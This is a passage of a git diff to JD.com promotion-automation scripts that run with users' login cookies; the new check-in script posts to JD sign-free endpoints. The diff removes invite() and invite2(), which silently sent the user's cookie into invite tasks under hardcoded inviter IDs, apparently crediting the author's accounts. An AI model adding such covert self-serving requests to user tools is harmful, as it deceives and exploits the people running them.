llAPIError=true; } else { if (safeGet(data)) { data = JSON.parse(data); @@ -340,7 +403,9 @@ async function startItem(activeId, activeType) { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`startItem API请求失败,请检查网路重试`) + $.canStartNewItem = false; + llAPIError=true; } else { if (safeGet(data)) { data = JSON.parse(data); @@ -351,7 +416,9 @@ async function startItem(activeId, activeType) { videoBrowsing = activeType === 1 ? 5 : 10 console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) await $.wait(videoBrowsing * 1000) + await $.wait(3000); await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + await $.wait(1000); } else { console.log(`${$.taskName}任务已达上限`) $.canStartNewItem = false @@ -389,7 +456,8 @@ async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`endItem API请求失败,请检查网路重试`) + } else { if (safeGet(data)) { data = JSON.parse(data); @@ -427,7 +495,7 @@ async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`rewardItem API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -456,7 +524,7 @@ async function cash() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`cash API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -481,7 +549,7 @@ function wheelsHome() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`wheelsHome API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -511,7 +579,7 @@ function wheelsLottery() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`wheelsLottery API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -540,7 +608,7 @@ function apTaskList() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`apTaskList API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -573,7 +641,7 @@ function apDoTask(taskType,taskId,channel,itemId) { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`apDoTask API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -599,7 +667,7 @@ function richManIndex() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`richManIndex API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -626,7 +694,7 @@ function shootRichManDice() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`shootRichManDice API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -665,61 +733,6 @@ function taskGetUrl(function_id, body) { } } -function invite2() { - let inviterIdArr = [ - "5V7vHE23qh2EkdBHXRFDuA==", - "wXX9SjXOdYMWe5Ru/1+x9A==", - "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=" - ] - let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] - let options = { - url: "https://api.m.jd.com/", - body: `functionId=TaskInviteService&body=${JSON.stringify({"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":encodeURIComponent(inviterId),"type":1}})}&appid=market-task-h5&uuid=&_t=${Date.now()}`, - headers: { - "Host": "api.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://assignment.jd.com", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://assignment.jd.com/", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - $.post(options, (err, resp, data) => { - // console.log(data) - }) -} - -function invite() { - let t = +new Date() - let inviterIdArr = [ - "5V7vHE23qh2EkdBHXRFDuA==", - "wXX9SjXOdYMWe5Ru/1+x9A==", - "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=" - ] - let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] - let options = { - url: `https://api.m.jd.com/?t=${t}`, - body: `functionId=InviteFriendChangeAssertsService&body=${JSON.stringify({"method":"attendInviteActivity","data":{"inviterPin":encodeURIComponent(inviterId),"channel":1,"token":"","frontendInitStatus":""}})}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`, - headers: { - "Host": "api.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Content-type": "application/x-www-form-urlencoded", - "Origin": "https://invite-reward.jd.com", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": 'https://invite-reward.jd.com/', - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - $.post(options, (err, resp, data) => { - // console.log(data) - }) -} - function TotalBean() { return new Promise(async resolve => { const options = { @@ -739,7 +752,7 @@ function TotalBean() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`TotalBean API请求失败,请检查网路重试`) } else { if (data) { data = JSON.parse(data); diff --git a/jd_exchangejxbeans.js b/jd_speed_signfree_Mod.js similarity index 57% rename from jd_exchangejxbeans.js rename to jd_speed_signfree_Mod.js index f16d0f9ec..66a3f54a4 100644 --- a/jd_exchangejxbeans.js +++ b/jd_speed_signfree_Mod.js @@ -1,45 +1,46 @@ -/** -过期京豆兑换为喜豆 -cron 33 9 * * * jd_exchangejxbeans.js -TG频道:https://t.me/sheeplost +/* + cron 18 9 * * * jd_speed_signfree_Mod.js 签到免单 */ -const $ = new Env('京豆兑换为喜豆'); +const $ = new Env('京东极速签到免单') const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; //IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = ''; -let exjxbeans = false; -if (process.env.exjxbeans) { - exjxbeans = process.env.exjxbeans; -} +let cookiesArr = [], cookie = ''; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } +$.message = "\n"; + +let WP_APP_TOKEN_ONE = ""; +let strmessagebyone=""; +let strmessage=""; +if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} + + !(async () => { if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } - UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); for (let i = 0; i < cookiesArr.length; i++) { - JXUA = `jdpingou;iPhone;4.13.0;14.4.2;${UUID};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; if (cookiesArr[i]) { cookie = cookiesArr[i]; $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) $.index = i + 1; $.isLogin = true; $.nickName = ''; - expirebeans = 0; + $.mian_dan_list = []; + $.mian_Name_list = []; await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); @@ -48,112 +49,185 @@ if ($.isNode()) { } continue } - await domain(); - } - } - if (message !== "") { - if ($.isNode()) { - await notify.sendNotify($.name, message) - } else { - $.msg($.name, '', message) + $.message += `【京东账号】${$.nickName || $.UserName}\n` + strmessagebyone=""; + await get_order_ids(cookie) + if ($.mian_dan_list.length > 0) { + for (let i = 0; i < $.mian_dan_list.length; i++) { + const orderId = $.mian_dan_list[i]; + console.log(`商品名称:`+$.mian_Name_list[i]+`,商品id:${orderId}`); + $.message += `商品名称:`+$.mian_Name_list[i]+`\n`; + strmessagebyone+=`商品名称:`+$.mian_Name_list[i]+`\n`; + await sign(cookie, orderId); + await $.wait(2000) + } + } + if(strmessagebyone) + strmessage+=`【京东账号】${$.nickName || $.UserName}\n`+strmessagebyone+`\n`; + + if (strmessagebyone && $.isNode() && WP_APP_TOKEN_ONE) { + strmessagebyone=`【京东账号】${$.nickName || $.UserName}\n`+strmessagebyone; + await notify.sendNotifybyWxPucher("京东极速版签到免单",strmessagebyone, `${$.UserName}`); + } + } } -})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + await notify.sendNotify(`${$.name}`, strmessage); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) -async function domain() { - maxexchange = 1000; - beans = await queryexpirebeans(); - if (beans.ret === 0) { - beans.expirejingdou.map(item => { - expirebeans += item.expireamount; - }); - } - if (exjxbeans) { - if (expirebeans) { - //为防止异常故障,每次最多兑换1000喜豆! - if (expirebeans < maxexchange) { - console.log(`您有${expirebeans}个京豆将在7天内过期,去执行兑换`); - let jxbeans = await exchangejxbeans(expirebeans); - if (jxbeans) { - console.log(`成功兑换喜豆${expirebeans}!`); - message += `\n【京东账号${$.index}】${$.nickName || $.UserName}\n成功兑换喜豆${expirebeans}!` +function get_order_ids(cookie) { + return new Promise(resolve => { + try { + $.get({ + url: `https://api.m.jd.com/?functionId=signFreeHome&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie } - } else { - console.log(`默认每次最多兑换${maxexchange}豆子`) - } - } else { - console.log('您未来7天内无过期京豆') + }, (err, resp, data) => { + data = JSON.parse(data) + if (data.success == true) { + /* if (data.data.risk == true) { + console.log("风控用户,跳过"); + $.message += "风控用户,跳过\n" + resolve() + return + } */ + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + $.message += "没有需要签到的商品,请到京东极速版[签到免单]购买商品\n" + resolve() + } else { + for (let i = 0; i < data.data.signFreeOrderInfoList.length; i++) { + var respdemo = { "success": true, "code": 0, "errMsg": "success", "data": { "newUser": false, "backRecord": false, "risk": false, "surplusCount": 2, "sumTotalFreeAmount": "0.00", "signFreeOrderInfoList": [{ "id": 472, "productName": "百事可乐 300ml*6瓶", "productImg": "jfs/t1/177052/32/20077/117620/611e1a4cE0065cc54/b19fb6ed2ff59493.jpg", "needSignDays": 20, "hasSignDays": 0, "freeAmount": "6.54", "moneyReceiveMode": "3", "orderId": 225947891472, "surplusTime": 0, "combination": 1 }], "interruptInfoList": null } } + const order = data.data.signFreeOrderInfoList[i]; + $.mian_dan_list.push(order.orderId) + $.mian_Name_list.push(order.productName) + } + } + } + resolve() + }) + } catch (error) { + $.logErr(e, resp) + resolve() } - } else { - console.log('脚本默认不兑换豆子,如需兑换请设置环境变量exjxbeans为true') - } + + + }) } -function queryexpirebeans() { - return new Promise(async resolve => { +function sign(cookie, orderId) { + return new Promise(resolve => { const options = { - "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, - "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Host": "wq.jd.com", - "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" - } + url: `https://api.m.jd.com?functionId=signFreeSignIn&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%2C%22orderId%22%3A${orderId}%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'content-type': 'application/x-www-form-urlencoded', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie + }, } - $.get(options, (err, resp, data) => { + $.post(options, async (err, resp, data) => { try { - if (err) { - console.log(err); + console.log(data); + data = JSON.parse(data) + var dataDemo = { "success": false, "code": 400015, "errMsg": "明日签到", "data": null } + if (data.success == false) { + console.log(data.errMsg); + strmessagebyone+="签到失败:"+data.errMsg+"\n"; } else { - data = JSON.parse(data.slice(23, -13)); - if (data && data.data && JSON.stringify(data.data) === '{}') { - console.log(JSON.stringify(data)) - } + console.log("签到成功"); + strmessagebyone+="签到成功\n"; } } catch (e) { - $.logErr(e, resp) + $.logErr(e, resp); } finally { - resolve(data || {}); + resolve(data || ""); } }) }) } -function exchangejxbeans(o) { + +function TotalBean() { return new Promise(async resolve => { const options = { - "url": `https://m.jingxi.com/deal/masset/jd2xd?use=${o}&canpintuan=&setdefcoupon=0&r=${Math.random()}&sceneval=2`, + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, "headers": { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Cookie": cookie, - "Connection": "keep-alive", - "User-Agent": JXUA, - "Accept-Language": "zh-cn", - "Referer": "https://m.jingxi.com/deal/confirmorder/main", + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") } } - $.get(options, (err, resp, data) => { + $.post(options, (err, resp, data) => { try { if (err) { - console.log(err); + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) } else { - data = JSON.parse(data); - if (data && data.data && JSON.stringify(data.data) === '{}') { - console.log(JSON.stringify(data)) + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) } } } catch (e) { $.logErr(e, resp) } finally { - resolve(data || {}); + resolve(); } }) }) } -function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } -function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; 